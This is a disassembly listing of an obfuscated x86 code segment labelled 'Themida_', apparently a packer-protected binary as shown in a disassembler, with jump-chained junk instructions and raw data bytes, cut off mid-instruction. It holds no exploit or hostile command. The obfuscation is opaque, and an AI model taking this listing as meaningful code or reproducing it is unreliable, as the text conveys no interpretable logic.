Themida_:0058F989j mov ebp, ebx jmp loc_58F572 ; --------------------------------------------------------------------------- db 29h, 0F0h, 0E9h dd 0FFFF3930h, 525905BEh, 2474015Dh, 0AD80E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596BE6: ; CODE XREF: Themida_:0058B84Fj mov ebx, 621874E6h add edx, ebx pop ebx push eax jmp loc_58CF15 ; --------------------------------------------------------------------------- loc_596BF4: ; CODE XREF: Themida_:00592464j add eax, 3EBB71EBh jmp loc_5960FD ; --------------------------------------------------------------------------- loc_596BFE: ; CODE XREF: Themida_:00591077j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_592C84 ; --------------------------------------------------------------------------- db 58h dd 0D6F6CEFEh, 8105E6C0h, 4ECh, 7D60E900h, 0F66FFFFh, 5166C8AFh dd 369CE99Ch, 3C89FFFFh, 2A29BF24h, 0FE31702Ah, 0FFEE815Fh dd 81FFFFFFh, 333FDFEEh, 0E73E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_596C4E: ; CODE XREF: Themida_:0058CC35j pop eax sub bh, 73h push cx mov cl, 1Fh xor bh, cl jmp loc_58EB86 ; --------------------------------------------------------------------------- db 66h, 58h, 66h dd 6649D468h, 68240489h, 11C7h, 52240C89h, 1B1E9h db 0 ; --------------------------------------------------------------------------- loc_596C75: ; CODE XREF: Themida_:00591AFDj push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, 675C3153h jmp loc_58B2CF ; --------------------------------------------------------------------------- loc_596C87: ; CODE XREF: Themida_:00596738j mov [esp], edx jmp loc_596D0E ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 240C8900h, 0FF5C00E9h db 0FFh ; --------------------------------------------------------------------------- loc_596CA1: ; CODE XREF: Themida_:005947E5j push ebx mov bl, 1Ch not bl jmp loc_592F53 ; --------------------------------------------------------------------------- loc_596CAB: ; CODE XREF: Themida_:0058D190j pop ecx jmp loc_58DA3B ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 68000000h, 1F5h, 0FFF0A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_596CC1: ; CODE XREF: Themida_:00597F5Cj mov [esp], esi jmp loc_5943BF ; --------------------------------------------------------------------------- loc_596CC9: ; CODE XREF: Themida_:005907F9j pop edi push ebp mov ebp, 3F3F21CFh add ebp, 0D464851h xor ebp, 4C856A24h add edi, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, 4 jmp loc_58FC27 ; --------------------------------------------------------------------------- loc_596CEF: ; CODE XREF: Themida_:0059649Fj not ebp jmp loc_58FB66 ; --------------------------------------------------------------------------- loc_596CF6: ; CODE XREF: Themida_:0058C8D6j push edx push 0A5C0167h pop edx not edx jmp loc_592EC5 ; --------------------------------------------------------------------------- loc_596D04: ; CODE XREF: Themida_:0058DF72j mov esi, 75D17666h jmp loc_58AFF5 ; --------------------------------------------------------------------------- loc_596D0E: ; CODE XREF: Themida_:00596C8Aj push esp jmp loc_593165 ; --------------------------------------------------------------------------- dd 0E932FF64h, 0FFFF35B2h, 5C241C33h, 0E9242489h, 0FFFFB1FAh ; --------------------------------------------------------------------------- loc_596D28: ; CODE XREF: Themida_:0058AD00j push 3185h mov [esp], eax jmp loc_58A2CE ; --------------------------------------------------------------------------- db 0D1h, 0EDh, 0E9h dd 0FFFFF2F1h, 0E98068B1h, 59CA88D4h, 148BD130h, 0B1AEE924h dd 8B54FFFFh, 8956241Ch, 4C681E6h, 83000000h, 348704C6h dd 0C3815C24h, 4, 1514BF57h, 0C78145FFh, 4A244E96h, 0FFAA6AE9h dd 25ED81FFh, 17579B7h, 0C3815DE8h, 49C54DB2h, 76C7C381h dd 0C30171D3h, 76C7EB81h, 0EC8171D3h, 4, 0BE243489h, 49C54DB2h dd 0FFCD31E9h, 0FCBE56FFh, 0E927C343h, 0FFFFEE34h, 8BE95F5Ah dd 8FFFFF99h, 248B2404h, 4C48324h, 9C240409h, 0FF3501E9h dd 241489FFh, 0C72BB5BAh, 101BE911h, 0E95C0000h, 396h dd 24048B66h, 56D1E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596DEA: ; CODE XREF: Themida_:0058CCB2j mov [esp], eax push dword ptr [esp] pop edi jmp loc_592B57 ; --------------------------------------------------------------------------- dw 0D0F7h dd 0D2B02D40h, 0C601BD06h, 5124048Bh, 0C1815954h, 4, 8704C183h dd 0FBE9240Ch, 88FFFFF9h, 5AF788E6h, 3C865866h, 8EFDE924h dd 8850FFFFh, 934E9FCh, 95F0000h, 34FF1C77h, 5E7E924h dd 805A0000h, 9FE965C1h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596E43: ; CODE XREF: Themida_:00590540j mov edi, 2 mov ebx, edi pop edi add edi, ebx pop ebx xor edi, [esp] jmp loc_58FD28 ; --------------------------------------------------------------------------- dw 0EC88h dd 0FFD714E9h, 5E0C1FFh, 0E8C1D8F7h, 7D0A3502h, 0E9813C26h dd 44DB1980h, 0C181C101h, 44DB1980h, 0FFD34BE9h, 241CF7FFh dd 0E924348Bh, 5BAh, 46EA8166h, 0D001669Ch, 0EA81665Ah dd 29660147h, 0C28166C2h, 66580147h, 661C2E05h, 0E93C8B2Dh dd 0FFFF5B9Bh, 24148966h, 0E953B353h, 0FFFF60A5h ; --------------------------------------------------------------------------- loc_596EB8: ; CODE XREF: Themida_:0058F08Cj push ebx mov ebx, 4 jmp loc_5903C7 ; --------------------------------------------------------------------------- loc_596EC3: ; CODE XREF: Themida_:00596679j mov ebx, 23A0077h add eax, ebx pop ebx sub eax, 1220BF9h add eax, ebp add eax, 1220BF9h push ebx mov ebx, 23A0077h sub eax, ebx pop ebx pop ebp mov ebx, eax jmp loc_58ADEC ; --------------------------------------------------------------------------- loc_596EE8: ; CODE XREF: Themida_:00597545j pop ebx xor ebp, eax pop eax and eax, ebp mov ebp, [esp] add esp, 4 push edx mov edx, 1Ch add edx, edi push dword ptr [edx] jmp loc_594C3C ; --------------------------------------------------------------------------- db 55h dd 0FFD6E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_596F09: ; CODE XREF: Themida_:0058FED4j mov edx, ebp pop ebp add edx, 1 jmp loc_58DCE7 ; --------------------------------------------------------------------------- loc_596F17: ; CODE XREF: Themida_:00595C96j jno loc_58E5FA push edx mov dl, 0D7h add bl, dl pop edx add bl, 0E8h push ecx mov ax, [esp] push edi push esp push dword ptr [esp] pop edi add esp, 4 push ebp mov ebp, 4 add edi, ebp pop ebp push eax mov eax, 2 jmp loc_58B4E8 ; --------------------------------------------------------------------------- dd 2C28358h, 8B241487h, 4282424h, 8E99C24h, 81FFFFF9h dd 4C4h, 0BF96800h, 21E90000h, 0D100000Eh, 0F9F181E1h dd 8165C202h, 2E8A24C1h, 0E9CA0128h, 0FFFF4D1Fh, 0BBA2E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596F86: ; CODE XREF: Themida_:0058C5F5j ; Themida_:00592F6Ej xor ebx, 703859EDh shr ebx, 7 jnz loc_58C630 xor ebx, 6B84F12Bh jmp loc_58CBB7 ; --------------------------------------------------------------------------- dd 0E289E08Ah, 4C281h, 0C2810000h, 4, 5C241487h, 7C1868h dd 24048900h, 4EC81h, 24890000h, 4BE5624h, 0E9000000h dd 0FFFFAEDBh, 240C8B66h, 68E08950h, 2DC1h, 0B9240C89h dd 4, 34FFC801h, 9D59E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596FEE: ; CODE XREF: Themida_:00594F1Dj mov al, 0D5h jmp loc_597F61 ; --------------------------------------------------------------------------- loc_596FF5: ; CODE XREF: Themida_:0059015Ej xor eax, 663D227Ah add ecx, eax pop eax add ecx, 357F3E30h push 675Bh mov [esp], ebp mov ebp, 38213202h sub ebp, 0FFFFFFFFh sub ebp, 77496B4Eh push ecx push ebx mov ebx, 173129F2h neg ebx jnz loc_591573 shl ebx, 2 and ebx, 25C8004Ch mov dh, 51h loc_597037: ; CODE XREF: Themida_:00590EE3j ; Themida_:00591384j pop ebx jmp loc_590A17 ; --------------------------------------------------------------------------- loc_59703D: ; CODE XREF: Themida_:00597FE6j sub edi, 0C0E3F7C9h jmp loc_58C413 ; --------------------------------------------------------------------------- loc_597048: ; CODE XREF: Themida_:00595CE6j push esi mov esi, 64F611C8h push eax mov eax, 91E28D7h not eax jmp loc_58CA3D ; --------------------------------------------------------------------------- align 4 dd 3DD8E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597062: ; CODE XREF: Themida_:00594B38j push edx sub esp, 4 mov [esp], eax mov al, ch push ecx mov ch, al jmp loc_591B43 ; --------------------------------------------------------------------------- loc_597076: ; CODE XREF: Themida_:0058B6BBj pop ebp add ebp, 4 sub esp, 4 mov [esp], edx sub esp, 4 jmp loc_590072 ; --------------------------------------------------------------------------- loc_597091: ; CODE XREF: Themida_:00597161j mov ecx, 1C04258Eh jmp loc_58BF59 ; --------------------------------------------------------------------------- loc_59709B: ; CODE XREF: Themida_:0058E1F6j xor ecx, eax sub esp, 4 mov [esp], esi mov esi, ebx sub esp, 4 mov [esp], esi jmp loc_594440 ; --------------------------------------------------------------------------- loc_5970B0: ; CODE XREF: Themida_:00597478j push edx jmp loc_590512 ; --------------------------------------------------------------------------- dw 483h dd 5EE90424h, 54FFFFBBh, 4C6815Eh, 83000000h, 0D7E904C6h dd 83FFFF4Eh, 0FF5304C3h, 8B042474h, 0C481241Ch, 4, 5C24048Fh dd 9CE9h, 35D0F700h, 33461978h, 0E3B7850Fh, 0CD05FFFFh dd 897A53A2h, 45258C6h, 0BE0F5C44h, 3A2FE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59710A: ; CODE XREF: Themida_:00591FF8j mov ebp, 0E7655502h xor ecx, ebp jmp loc_58F4AC ; --------------------------------------------------------------------------- loc_597116: ; CODE XREF: Themida_:00595259j mov ebp, 9061188h shr ebp, 1 push ebp jmp loc_58DFC2 ; --------------------------------------------------------------------------- loc_597123: ; CODE XREF: Themida_:00596A5Fj mov eax, edx pop edx jmp loc_597B57 ; --------------------------------------------------------------------------- db 1 dd 0B645E9D0h, 0BE56FFFFh, 0B0104A7h, 24348156h, 1ED154E1h dd 0E1F5815Dh, 8B1ED154h, 0C4812434h, 4, 8958C531h, 0EBA3E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59715A: ; CODE XREF: Themida_:00595DB9j push esi mov esi, 1379189Ch push ecx jmp loc_597091 ; --------------------------------------------------------------------------- loc_597166: ; CODE XREF: Themida_:00594603j pop ebx jmp loc_58EBDE ; --------------------------------------------------------------------------- loc_59716C: ; CODE XREF: Themida_:0058B98Dj mov eax, edx mov edx, [esp] jmp loc_592427 ; --------------------------------------------------------------------------- dw 8F54h dd 4832404h, 53580424h, 0FF45BFE9h, 258868FFh, 0C890000h dd 53595424h, 0F47C81BBh, 0D1C3814Bh, 0E95F8601h, 0FFFFE95Eh ; --------------------------------------------------------------------------- loc_5971A0: ; CODE XREF: Themida_:0058CCF6j xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 4CDDh mov [esp], edx sub esp, 4 jmp loc_58E3DD ; --------------------------------------------------------------------------- loc_5971BC: ; CODE XREF: Themida_:00596794j jmp loc_58A2CE ; --------------------------------------------------------------------------- db 5Fh, 0C1h, 0EEh dd 6B7CE905h, 0CD2FFFFh, 0FBE99C24h, 0E9FFFF30h, 513h dd 52D830ACh, 8904EC83h, 0EBB42404h, 0FE03E4C0h, 2ECC0CCh dd 0E91EEC80h, 0FFFF8442h ; --------------------------------------------------------------------------- loc_5971F4: ; CODE XREF: Themida_:0058F7A0j add esp, 2 sub bl, 35h sub bl, al add bl, 35h push ecx mov cl, 83h shr cl, 2 not cl jmp loc_596445 ; --------------------------------------------------------------------------- db 0BBh dd 7061762Dh, 1C8BDD89h, 4C48124h, 81000000h, 0C718D9CDh dd 0E9E5D163h, 0FFFF8ADDh ; --------------------------------------------------------------------------- loc_59722C: ; CODE XREF: Themida_:005929C3j mov esp, [esp] push esi mov esi, 442000D6h jmp loc_58DA5E ; --------------------------------------------------------------------------- dw 5568h dd 58529846h, 74973548h, 8B0F0C4Ch, 0FFFF9543h, 1691BE56h dd 0E6814216h, 4C635499h, 48E9EED1h, 5BFFFFD2h, 4BA52h dd 0D3010000h, 0FF6A92E9h db 0FFh ; --------------------------------------------------------------------------- loc_59726D: ; CODE XREF: Themida_:005934CCj add edx, 0FE089FAAh jmp loc_594DA9 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF3046h, 5DE8015Eh dd 867E9h db 0 ; --------------------------------------------------------------------------- loc_597291: ; CODE XREF: Themida_:005937DBj push cx pushf jmp loc_58EE52 ; --------------------------------------------------------------------------- loc_597299: ; CODE XREF: Themida_:0058C418j add esp, 4 jmp loc_58BB9C ; --------------------------------------------------------------------------- loc_5972A4: ; CODE XREF: Themida_:0058E525j add eax, edi sub eax, 157A4D65h mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] jmp loc_58AFEA ; --------------------------------------------------------------------------- loc_5972BC: ; CODE XREF: Themida_:0058E0C6j pop ebx add ebx, 4 add ebx, 4 jmp loc_59000C ; --------------------------------------------------------------------------- dw 0CB00h dd 240C8B66h, 0ACE95456h, 0BAFFFFF7h, 4D782BD5h, 5FE9D631h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5972E7: ; CODE XREF: Themida_:00594C4Cj add edx, 2DAA71E6h xor edx, 7F1F01DCh ja loc_58B3F0 jmp loc_591709 ; --------------------------------------------------------------------------- dw 29E9h dd 87FFFFFFh db 0F5h ; --------------------------------------------------------------------------- loc_597305: ; CODE XREF: Themida_:005966D0j push esp pop eax add eax, 4 push edi mov edi, 2 push edx mov edx, 12C013DCh xor edx, 3D2C239Bh dec edx jmp loc_5956A6 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0B60FC330h, 148B66C0h, 0EC835124h, 0CCE95404h dd 80FFFF3Ah, 0F7884CF6h, 0D0DFF65Ah, 0D108E9EFh, 8956FFFFh dd 4C681E6h, 68000000h, 2079h, 0BA241489h, 4, 7FE8EE81h dd 0C6810539h, 9A24B9Eh, 0EE81D601h, 9A24B9Eh, 7FE8C681h dd 148B0539h, 4C48124h, 87000000h, 0E95C2434h, 0FFFF79B7h dd 0F608EDC0h, 3274E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597396: ; CODE XREF: Themida_:00596B86j mov edi, esi mov ebx, edi pop edi mov edx, ebx pop ebx mov esi, [esp] add esp, 4 jmp loc_58A338 ; --------------------------------------------------------------------------- loc_5973A9: ; CODE XREF: Themida_:0058C733j pop edx xor eax, 1D58DE0Ch mov edi, eax mov eax, [esp] jmp loc_58B0B8 ; --------------------------------------------------------------------------- db 1, 0CFh, 81h dd 9335EAEFh, 4306E94Eh, 815AFFFFh, 0CE6C05E5h, 0D48BE97Bh dd 6859FFFFh, 4435h, 0E9242C89h, 0FFFFC672h, 42474FFh dd 0FFD5B1E9h, 241C8BFFh, 0FF4513E9h db 0FFh ; --------------------------------------------------------------------------- loc_5973F1: ; CODE XREF: Themida_:0058D703j mov ebp, 127F78FEh sub ebp, 73971DA8h sub ebp, 787174E7h add ebp, 0E391458Ch add eax, ebp mov ebp, [esp] add esp, 4 mov ecx, eax pop eax push edi mov edi, 4D811A70h jmp loc_58A4AE ; --------------------------------------------------------------------------- db 5Eh, 68h, 38h dd 89000005h, 0E6892434h, 0FFA7B5E9h, 4C481FFh, 81000000h dd 4C7h, 98BFE900h, 0C481FFFFh, 4, 0EE31F531h, 0F581F531h dd 670FBF8Ah, 34FFE831h, 242C8B24h, 4C481h, 0EEE90000h dd 0FFFFFC2h, 0FFB96A87h, 0FA91E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597472: ; CODE XREF: Themida_:0058EB1Aj sub bl, 0CCh sub bl, 0EAh jmp loc_5970B0 ; --------------------------------------------------------------------------- loc_59747D: ; CODE XREF: Themida_:0058BD54j sub esp, 4 mov [esp], edx mov edx, 8ED08B5h add edi, edx pop edx pop esi retn ; --------------------------------------------------------------------------- db 0E9h, 3Ch, 2Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597492: ; CODE XREF: Themida_:0058E324j xor eax, ebx pop ebx sub ebx, 1FD22391h add ebx, 243A6B10h add ebx, eax sub ebx, 243A6B10h push 0C4Ah mov [esp], edx mov edx, 798E09D8h push 5E15h jmp loc_58B398 ; --------------------------------------------------------------------------- loc_5974C0: ; CODE XREF: Themida_:00595412j ; Themida_:005955B1j shr ah, 3 xchg bh, ah neg bh xchg bh, ah not ah neg ah sub ah, 0EFh mov dl, ah pop eax mov cl, dl mov edx, [esp] add esp, 4 push dx mov dl, 0D8h xor cl, dl pop dx sub al, 8Eh add al, cl push cx mov ch, 8Eh add al, ch pop cx pop ecx sub esp, 4 mov [esp], ecx mov cl, 0A4h or cl, 5Dh jmp loc_58AD69 ; --------------------------------------------------------------------------- dw 8952h dd 0B7BDE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59750E: ; CODE XREF: Themida_:0059340Dj pop edi sub esp, 4 mov [esp], eax mov eax, 7B427C6Fh shl eax, 7 push eax xchg eax, [esp] xchg eax, esi not esi xchg eax, esi xchg eax, [esp] pop eax or eax, 67A14A36h or eax, 45414541h shl eax, 5 push 7CFCh mov [esp], ebx mov ebx, 7EB65C9Bh add eax, ebx jmp loc_596EE8 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 0C8704E9h, 14895C24h, 2E68BA24h dd 0D8E9474Eh, 5DFFFF99h, 815AD601h, 4C6h, 7EE95600h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597577: ; CODE XREF: Themida_:0058F529j mov [esp], ebx jmp loc_5975C4 ; --------------------------------------------------------------------------- loc_59757F: ; CODE XREF: Themida_:0058BEF1j pop esp push edx jmp loc_5953CC ; --------------------------------------------------------------------------- dw 9CB9h dd 217E7E08h, 0CD8159CDh, 67555DFAh, 0FFFFBB53h, 0DD29FFFFh dd 0FFB55FE9h, 0B8F381FFh, 0E971482Eh, 0FFFF99E2h ; --------------------------------------------------------------------------- loc_5975AC: ; CODE XREF: Themida_:00596A2Aj mov [esp], edx mov dh, 0D1h sub bh, dh jmp loc_59493C ; --------------------------------------------------------------------------- dd 6E43E581h, 0E9452A7Ah, 0FFFF8BA4h ; --------------------------------------------------------------------------- loc_5975C4: ; CODE XREF: Themida_:0058D3C1j ; Themida_:0059757Aj xor dword ptr [esp], 0A7079D3h mov edx, [esp] add esp, 4 jmp loc_592FE8 ; --------------------------------------------------------------------------- db 52h, 0BAh, 27h dd 0C11D2860h, 0DAF702EAh, 0B978E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5975EA: ; CODE XREF: Themida_:0058BA9Fj pop esi push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push eax mov eax, 80h mov edx, eax pop eax and ecx, edx mov edx, [esp] jmp loc_58F836 ; --------------------------------------------------------------------------- loc_597613: ; CODE XREF: Themida_:00593C09j shr ebp, 6 sub ebp, 5C2350DCh xor ebp, 0A4B4555Bh add edx, ebp pop ebp add edx, 4 jmp loc_595C88 ; --------------------------------------------------------------------------- loc_59762D: ; CODE XREF: Themida_:00593981j push ebx push ecx jmp loc_5960A3 ; --------------------------------------------------------------------------- loc_597634: ; CODE XREF: Themida_:0058F60Fj not ebp neg ebp xor ebp, 0C81805h and eax, ebp mov ebp, [esp] jmp loc_596411 ; --------------------------------------------------------------------------- loc_597648: ; CODE XREF: Themida_:005964E0j add eax, edx add eax, 29835A61h pop edx push edx mov edx, 2 add eax, edx pop edx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_592EFC ; --------------------------------------------------------------------------- dd offset dword_49005C+2AA0Ch dd 241C8900h, 89E93BB3h, 66FFFF2Eh, 5024048Bh, 405E089h dd 83000000h, 48704E8h, 1C895C24h, 815B5424h, 4C3h, 7418E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59769A: ; CODE XREF: Themida_:0058A3DBj pop ebp xor esi, ebx pop ebx add ebp, esi mov esi, [esp] jmp loc_592700 ; --------------------------------------------------------------------------- dd 33241C31h, 895C241Ch, 0B850242Ch, 69EE26AEh, 5358C589h dd 0EE2AAFBBh, 8BDD2969h, 0E955241Ch, 0FFFFB9C5h, 1628BD55h dd 0E5C140A2h, 4DDDF703h, 0C581EDD1h, 97C0C687h, 6929B951h dd 0ACE92603h, 81FFFFB3h, 704E02C1h, 59CD0100h, 5E08950h dd 4, 8704E883h, 895C2404h, 74FF242Ch, 8F5D0424h, 248B2404h dd 722DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597716: ; CODE XREF: Themida_:0058AD59j ; Themida_:0058DA6Cj push ebp mov ebp, 0BDD2D65h push edx mov edx, 7F5B4B7Ch sub ebp, edx pop edx shl ebp, 3 inc ebp jmp loc_58A653 ; --------------------------------------------------------------------------- loc_59772E: ; CODE XREF: Themida_:0058A7A3j push 5538h mov [esp], ecx push 351h mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 jmp loc_591BF4 ; --------------------------------------------------------------------------- loc_59774E: ; CODE XREF: Themida_:005921ACj add edi, 0BA956216h add ecx, edi jmp loc_5955FB ; --------------------------------------------------------------------------- loc_59775B: ; CODE XREF: Themida_:0058F68Ej mov edx, esp jmp loc_58E40C ; --------------------------------------------------------------------------- dw 0E688h dd 0FF975FE9h, 48F305FFh, 84E958BFh, 50FFFF52h, 0FFC67FE9h dd 334E68FFh, 34FF6F25h, 0C4815F24h, 4, 0FF4496E9h, 5CE9ADFFh dd 1FFFF97h, 0C1835AD1h, 240C8704h, 0FF24248Bh, 2BE92434h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5977A7: ; CODE XREF: Themida_:0058C077j push eax jmp loc_5909B4 ; --------------------------------------------------------------------------- db 52h, 0B2h, 71h dd 148BD788h, 0D653E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5977BA: ; CODE XREF: Themida_:0058D1B5j pop ecx add ebp, esi pop esi jmp loc_58A314 ; --------------------------------------------------------------------------- loc_5977C3: ; CODE XREF: Themida_:00592D6Aj mov al, ch mov dh, al pop eax pop cx push 3725h mov [esp], ecx jmp loc_595431 ; --------------------------------------------------------------------------- db 0FFh a4Xhcm db '4$XhM',0 align 10h dd 53243489h, 0FFE4CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5977E9: ; CODE XREF: Themida_:0058CB9Fj xor al, bl pop ebx push edx jmp loc_58B499 ; --------------------------------------------------------------------------- dw 0EE81h dd 5875546Eh, 6ABAC681h, 0F6814C5Dh, 0A0C09E4h, 34E9F789h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59780B: ; CODE XREF: Themida_:005957DEj mov eax, 58E8317Dh push ecx mov ecx, 0FFFFFFFFh sub eax, ecx jmp loc_591B02 ; --------------------------------------------------------------------------- loc_59781D: ; CODE XREF: Themida_:0058C7F4j jns loc_58AC17 shr al, 7 shr al, 3 jp loc_58DB8E xor al, 0F6h push ebx loc_597832: ; CODE XREF: Themida_:00594C11j mov ebp, edx pop edx add ebp, 691A0145h add ecx, ebp pop ebp add ecx, 2 jmp loc_58FE14 ; --------------------------------------------------------------------------- db 29h, 0CEh, 8Bh dd 0C481240Ch, 4, 0C681CE01h, 1F5F5151h, 0E9525059h, 0FFFF2B04h ; --------------------------------------------------------------------------- loc_597864: ; CODE XREF: Themida_:0058E603j shl bl, 6 add bl, 0FFh neg bl inc bl push cx mov ch, 70h add ch, 11h jge loc_58E514 dec ch jo loc_593F18 or ch, 9Dh push ebx inc ebx jmp loc_597C65 ; --------------------------------------------------------------------------- loc_59788D: ; CODE XREF: Themida_:00591B11j shr ebx, 8 dec ebx sub ebx, 20D22126h add eax, ebx pop ebx push eax pop edx pop eax sub edx, 6296FF7h add edx, 174149EFh jmp loc_58E20E ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 81242489h, 42404h, 55580000h, 1F0D3CBDh, 8EDC148h dd 0DDF7D5F7h, 0E0F6C581h, 0E801FFB7h, 0FF4023E9h, 81E789FFh dd 4C7h, 74626800h, 2C890000h, 51E58924h, 0FE2404B9h, 0ED20E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5978F6: ; CODE XREF: Themida_:0058AF76j mov ebp, 33004E0h sub ebx, ebp pop ebp and ebx, 43056AC2h xor ebx, 219D6319h jmp loc_58B146 ; --------------------------------------------------------------------------- db 81h dd 0F257F4C3h, 0E9D98975h, 0FFFF3C0Dh ; --------------------------------------------------------------------------- loc_59791C: ; CODE XREF: Themida_:00597ADBj jmp loc_58F72F ; --------------------------------------------------------------------------- db 29h, 0C1h, 81h dd 0AA6E21E9h, 0E9515817h, 0FFFF5AD0h, 0DDEE815Dh, 0E965CE6Bh dd 192h, 0F801A705h, 0DD2D401Fh, 81A3CBDEh, 597FC2C7h dd 0FBEF8111h, 29241B1Ah, 0FBC781C7h, 50241B1Ah, 0FF7E31E9h db 0FFh ; --------------------------------------------------------------------------- loc_597961: ; CODE XREF: Themida_:0058FB79j ; Themida_:0058FE3Cj ... pop ebp add edx, eax jmp loc_5915ED ; --------------------------------------------------------------------------- loc_597969: ; CODE XREF: Themida_:loc_58EDDFj push ebx mov ebx, 0FFFFFFFFh jmp loc_592FE8 ; --------------------------------------------------------------------------- loc_597974: ; CODE XREF: Themida_:0058B376j add ebp, 83ABD5A8h or ebp, 782F01D4h add ebp, 28EC676Dh jmp loc_58B3FA ; --------------------------------------------------------------------------- loc_59798B: ; CODE XREF: Themida_:00594359j pop ebp add esi, edi mov edi, [esp] add esp, 4 push 6EB9h mov [esp], esi push dword ptr [esp] jmp loc_595E16 ; --------------------------------------------------------------------------- dd 335B8D0Fh, 0E6E9FFFFh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5979AF: ; CODE XREF: Themida_:005952DDj pop dword ptr [esp] jmp loc_58CFF1 ; --------------------------------------------------------------------------- loc_5979B7: ; CODE XREF: Themida_:00595203j mov ebx, 0CF156FEh not ebx or ebx, 35813180h jmp loc_590C4B ; --------------------------------------------------------------------------- loc_5979C9: ; CODE XREF: Themida_:0058C95Ej push esi push esp pop esi push edi jmp loc_58C233 ; --------------------------------------------------------------------------- dw 8B25h dd 0E918D747h, 0FFFF5C85h, 0D1F7D9F7h, 0FF7394E9h db 0FFh ; --------------------------------------------------------------------------- loc_5979E5: ; CODE XREF: Themida_:0058C722j pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5979F6: ; CODE XREF: Themida_:00593D1Cj add ebx, edx pop edx add ebp, ebx pop ebx add ebp, 4 jmp loc_5929C8 ; --------------------------------------------------------------------------- dd 656DE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597A0A: ; CODE XREF: Themida_:0058BAE7j shr edx, 1 jmp loc_58CA07 ; --------------------------------------------------------------------------- db 66h, 81h, 0EEh dd 816612D0h, 662D95C6h, 835EF001h, 3C8904ECh, 0BFBF6624h dd 0C7836653h, 0B1E95101h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597A33: ; CODE XREF: Themida_:00592FD1j sub ebx, 8EAED420h xor ebp, ebx pop ebx shr ebp, 1 shl ebp, 5 sub ebp, 646B57E5h sub eax, 473D23E6h add eax, ebp add eax, 473D23E6h mov ebp, [esp] add esp, 4 add eax, ebx jmp loc_597BB1 ; --------------------------------------------------------------------------- loc_597A63: ; CODE XREF: Themida_:0058F7F1j pop ebx or eax, eax jz loc_58E839 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax push esp pop eax jmp loc_5920D4 ; --------------------------------------------------------------------------- loc_597A80: ; CODE XREF: Themida_:0059444Dj add [esp+4], ecx pop ecx mov eax, [esp] add esp, 4 jmp loc_595E0B ; --------------------------------------------------------------------------- db 89h dd 0F0B82404h, 2568D853h, 2BAE4E54h, 77244625h, 44BD5506h dd 31000000h, 0EE815DE8h, 1A084B09h, 0C681C601h, 1A084B09h dd 0FFA15EE9h, 5EF201FFh, 3571D02Dh, 87E4E90Ah, 0F101FFFFh dd 0FFA456E9h db 0FFh ; --------------------------------------------------------------------------- loc_597AD5: ; CODE XREF: Themida_:00591FB4j and ecx, 2193139h ja loc_59791C jmp loc_58EAEC ; --------------------------------------------------------------------------- dw 0C129h dd 5038F180h ; --------------------------------------------------------------------------- loc_597AEC: ; CODE XREF: Themida_:0058EAF6j push esi push ebx mov ebx, 1B3F7A77h jmp loc_58A3B9 ; --------------------------------------------------------------------------- dd 2474FF50h, 48F5804h, 24248B24h, 240C8B66h, 53E18951h dd 7F3567BBh, 53EB8106h, 0C16CD638h, 0F74B05EBh, 0FBAAE9DBh dd 4566FFFFh, 0FFE541E9h db 0FFh ; --------------------------------------------------------------------------- loc_597B29: ; CODE XREF: Themida_:0058F6ACj add ebx, edx pop edx push 17EAh mov [esp], eax jmp loc_58A2CE ; --------------------------------------------------------------------------- db 68h, 8Ch, 8 dd 0C0E90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597B43: ; CODE XREF: Themida_:00590C6Ej push edi mov edi, 2A6A22E5h mov ebp, edi pop edi add ebp, 78C266EDh jmp loc_58F47E ; --------------------------------------------------------------------------- loc_597B57: ; CODE XREF: Themida_:00597126j xor eax, 46551346h push esi mov esi, 0BC77E41h sub eax, esi pop esi push esi mov esi, 5C1726F7h xchg 